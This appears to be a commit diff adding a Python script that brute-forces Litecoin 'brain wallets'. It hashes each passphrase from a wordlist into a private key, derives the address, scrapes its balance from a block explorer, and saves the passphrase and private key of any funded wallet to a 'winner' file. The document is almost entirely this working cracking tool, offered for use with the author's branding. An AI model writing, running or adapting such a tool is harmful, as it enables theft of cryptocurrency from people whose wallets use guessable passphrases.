|
9 | 9 |
|
10 | 10 |
|
11 | 11 |
|
| 12 | +import codecs |
| 13 | +import hashlib |
| 14 | +import threading |
| 15 | + |
| 16 | +import ecdsa |
| 17 | +import requests |
| 18 | +from hdwallet import HDWallet |
| 19 | +from hdwallet.symbols import LTC as SYMBOL |
| 20 | +from lxml import html |
| 21 | +from rich.console import Console |
| 22 | +from rich.panel import Panel |
| 23 | + |
| 24 | +console = Console() |
| 25 | +console.clear() |
| 26 | + |
| 27 | +filexname = input('\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n [*] INSERT HERE File Name <---------|Without type file .txt|:::::::: ') |
| 28 | + |
| 29 | +mylist = [] |
| 30 | + |
| 31 | +filename = str(filexname + ".txt") |
| 32 | +with open(filename, newline='', encoding='utf-8') as f: |
| 33 | + for line in f: |
| 34 | + mylist.append(line.strip()) |
| 35 | + |
| 36 | + |
| 37 | +class BrainWallet: |
| 38 | + |
| 39 | + @staticmethod |
| 40 | + def generate_address_from_passphrase(passphrase): |
| 41 | + private_key = str(hashlib.sha256( |
| 42 | + passphrase.encode('utf-8')).hexdigest()) |
| 43 | + address = BrainWallet.generate_address_from_private_key(private_key) |
| 44 | + return private_key, address |
| 45 | + |
| 46 | + @staticmethod |
| 47 | + def generate_address_from_private_key(private_key): |
| 48 | + public_key = BrainWallet.__private_to_public(private_key) |
| 49 | + address = BrainWallet.__public_to_address(public_key) |
| 50 | + return address |
| 51 | + |
| 52 | + @staticmethod |
| 53 | + def __private_to_public(private_key): |
| 54 | + private_key_bytes = codecs.decode(private_key, 'hex') |
| 55 | + key = ecdsa.SigningKey.from_string( |
| 56 | + private_key_bytes, curve=ecdsa.SECP256k1).verifying_key |
| 57 | + key_bytes = key.to_string() |
| 58 | + key_hex = codecs.encode(key_bytes, 'hex') |
| 59 | + bitcoin_byte = b'04' |
| 60 | + public_key = bitcoin_byte + key_hex |
| 61 | + return public_key |
| 62 | + |
| 63 | + @staticmethod |
| 64 | + def __public_to_address(public_key): |
| 65 | + public_key_bytes = codecs.decode(public_key, 'hex') |
| 66 | + # Run SHA256 for the public key |
| 67 | + sha256_bpk = hashlib.sha256(public_key_bytes) |
| 68 | + sha256_bpk_digest = sha256_bpk.digest() |
| 69 | + ripemd160_bpk = hashlib.new('ripemd160') |
| 70 | + ripemd160_bpk.update(sha256_bpk_digest) |
| 71 | + ripemd160_bpk_digest = ripemd160_bpk.digest() |
| 72 | + ripemd160_bpk_hex = codecs.encode(ripemd160_bpk_digest, 'hex') |
| 73 | + network_byte = b'00' |
| 74 | + network_bitcoin_public_key = network_byte + ripemd160_bpk_hex |
| 75 | + network_bitcoin_public_key_bytes = codecs.decode( |
| 76 | + network_bitcoin_public_key, 'hex') |
| 77 | + sha256_nbpk = hashlib.sha256(network_bitcoin_public_key_bytes) |
| 78 | + sha256_nbpk_digest = sha256_nbpk.digest() |
| 79 | + sha256_2_nbpk = hashlib.sha256(sha256_nbpk_digest) |
| 80 | + sha256_2_nbpk_digest = sha256_2_nbpk.digest() |
| 81 | + sha256_2_hex = codecs.encode(sha256_2_nbpk_digest, 'hex') |
| 82 | + checksum = sha256_2_hex[:8] |
| 83 | + address_hex = (network_bitcoin_public_key + checksum).decode('utf-8') |
| 84 | + wallet = BrainWallet.base58(address_hex) |
| 85 | + return wallet |
| 86 | + |
| 87 | + @staticmethod |
| 88 | + def base58(address_hex): |
| 89 | + alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' |
| 90 | + b58_string = '' |
| 91 | + leading_zeros = len(address_hex) - len(address_hex.lstrip('0')) |
| 92 | + address_int = int(address_hex, 16) |
| 93 | + while address_int > 0: |
| 94 | + digit = address_int % 58 |
| 95 | + digit_char = alphabet[digit] |
| 96 | + b58_string = digit_char + b58_string |
| 97 | + address_int //= 58 |
| 98 | + ones = leading_zeros // 2 |
| 99 | + for one in range(ones): |
| 100 | + b58_string = '1' + b58_string |
| 101 | + return b58_string |
| 102 | + |
| 103 | + |
| 104 | +def bald(addr): |
| 105 | + urlblock = "https://litecoin.atomicwallet.io/address/" + addr |
| 106 | + respone_block = requests.get(urlblock) |
| 107 | + byte_string = respone_block.content |
| 108 | + source_code = html.fromstring(byte_string) |
| 109 | + xpatch_txid = '//*[@id="wrap"]/div/div[2]/div[1]/table/tbody/tr[3]/td[2]' |
| 110 | + treetxid = source_code.xpath(xpatch_txid) |
| 111 | + xVol = str(treetxid[0].text_content()) |
| 112 | + return xVol |
| 113 | + |
| 114 | + |
| 115 | +def MmDrza(): |
| 116 | + w = 0 |
| 117 | + count = 0 |
| 118 | + |
| 119 | + for i in range(0, len(mylist)): |
| 120 | + count += 1 |
| 121 | + passphrase = mylist[i] |
| 122 | + wallet = BrainWallet() |
| 123 | + private_key, address = wallet.generate_address_from_passphrase(passphrase) |
| 124 | + hdwallet: HDWallet = HDWallet(symbol=SYMBOL) |
| 125 | + hdwallet.from_private_key(private_key=private_key) |
| 126 | + addr = hdwallet.p2pkh_address() |
| 127 | + bal = bald(addr) |
| 128 | + ifxLTC = '0 LTC' |
| 129 | + MmdrzaPanel = str( |
| 130 | + '[gold1 on grey15]Total Checked: ' + '[orange_red1]' + str(count) + '[/][gold1 on grey15] ' + ' Win:' + '[white]' + str(w) + '[/][gold1] BAL:[aquamarine1]' + str(bal) + '\n[/][gold1 on grey15]Addr: ' + '[white] ' + str(address) + '[gold1 on grey15] Passphrase: ' + '[orange_red1]' + str(passphrase) + '[/]\nPRIVATEKEY: [grey54]' + str(private_key) + '[/]') |
| 131 | + style = "gold1 on grey11" |
| 132 | + |
| 133 | + if bal != ifxLTC: |
| 134 | + fx = open(u"LTCWinner_________" + str(filexname) + "_MMDRZA.txt", "a") |
| 135 | + fx.write('\nAddress Compressed : ' + addr + ' Bal = ' + str(bal)) |
| 136 | + fx.write('\nPassphrase : ' + passphrase) |
| 137 | + fx.write('\nPrivate Key : ' + private_key) |
| 138 | + fx.write('\nBalance: ' + str(bal)) |
| 139 | + fx.write('\n-------------- Programmer Mmdrza.Com ----------------------\n') |
| 140 | + fx.close() |
| 141 | + console.print(Panel(str(MmdrzaPanel), title="[white]Win Wallet [/]", subtitle="[green_yellow blink] Mmdrza.Com [/]", style="red"), style=style, justify="full") |
| 142 | + w += 1 |
| 143 | + else: |
| 144 | + ad1 = str(addr)[0] |
| 145 | + ad2 = str(addr)[1] |
| 146 | + ad3 = str(addr)[2] |
| 147 | + ad4 = str(addr)[3] |
| 148 | + ad5 = str(addr)[4] |
| 149 | + ad6 = str(addr)[5] |
| 150 | + ad7 = str(addr)[6] |
| 151 | + ad8 = str(addr)[7] |
| 152 | + ad9 = str(addr)[8] |
| 153 | + ad10 = str(addr)[9] |
| 154 | + ad11 = str(addr)[10] |
| 155 | + ad12 = str(addr)[11] |
| 156 | + ad13 = str(addr)[12] |
| 157 | + ad14 = str(addr)[13] |
| 158 | + ad15 = str(addr)[14] |
| 159 | + ad16 = str(addr)[15] |
| 160 | + ad17 = str(addr)[16] |
| 161 | + ad18 = str(addr)[17] |
| 162 | + ad19 = str(addr)[18] |
| 163 | + ad20 = str(addr)[19] |
| 164 | + ad21 = str(addr)[20] |
| 165 | + ad22 = str(addr)[21] |
| 166 | + ad23 = str(addr)[22] |
| 167 | + ad24 = str(addr)[23] |
| 168 | + ad25 = str(addr)[24] |
| 169 | + ad26 = str(addr)[25] |
| 170 | + ad27 = str(addr)[26] |
| 171 | + ad28 = str(addr)[27] |
| 172 | + ad29 = str(addr)[28] |
| 173 | + ad30 = str(addr)[29] |
| 174 | + ad31 = str(addr)[30] |
| 175 | + ad32 = str(addr)[31] |
| 176 | + ad33 = str(addr)[32] |
| 177 | + ad34 = str(addr)[33] |
| 178 | + |
| 179 | + mmdrza_addr = str('[red1]' + str(ad1) + '[bright_red]' + str(ad2) + '[red3]' + str(ad3) + '[red3]' + str(ad4) + '[orange3]' + str(ad5) + '[gold3]' + str(ad6) + '[gold3]' + str(ad7) + '[yellow2]' + str(ad8) + '[yellow2]' + str(ad9) + '[yellow1]' + str(ad10) + '[khaki1]' + str(ad11) + '[wheat1]' + str(ad12) + '[cornsilk1]' + str(ad13) + '[grey100]' + str(ad14) + '[grey100]' + str(ad15) + '[grey100]' + str(ad16) + '[cornsilk1]' + str(ad17) + '[wheat1]' + str(ad18) + '[khaki1]' + str(ad19) + '[light_goldenrod1]' + str(ad20) + '[gold1]' + str(ad21) + '[gold1]' + str(ad22) + '[gold1]' + str(ad23) + '[yellow3]' + str( |
| 180 | + ad24) + '[yellow2]' + str(ad25) + '[yellow1]' + str(ad26) + '[light_goldenrod1]' + str(ad27) + '[khaki1]' + str(ad28) + '[wheat1]' + str(ad29) + '[cornsilk1]' + str(ad30) + '[grey100]' + str(ad31) + '[cornsilk1]' + str(ad32) + '[wheat1]' + str(ad33) + '[khaki1]' + str(ad34) + '[/]') |
| 181 | + |
| 182 | + console.print('[gold1]Total:[white]' + str(count) + '[/][gold1]-- Win:[white]' + str(w) + '[/][b red1] LTC ADDR[/]= ' + str(mmdrza_addr) + ' [khaki1] --[wheat1]-[cornsilk1]-[cornsilk1]-[wheat1]-[wheat1]-[khaki1]-[light_goldenrod1] B[yellow1]AL[yellow1]A[yellow2]N[yellow3]C[gold1]E: [orange3]' + str(bal) + '[/][yellow] Passphrase:[green]' + str(passphrase) + '[/]') |
| 183 | + |
| 184 | + |
| 185 | +thr = threading.Thread(target=MmDrza) |
| 186 | +thr.start() |
| 187 | +thr.join() |
12 | 188 |
|
13 | 189 |
|
14 | 190 |
|
|
0 commit comments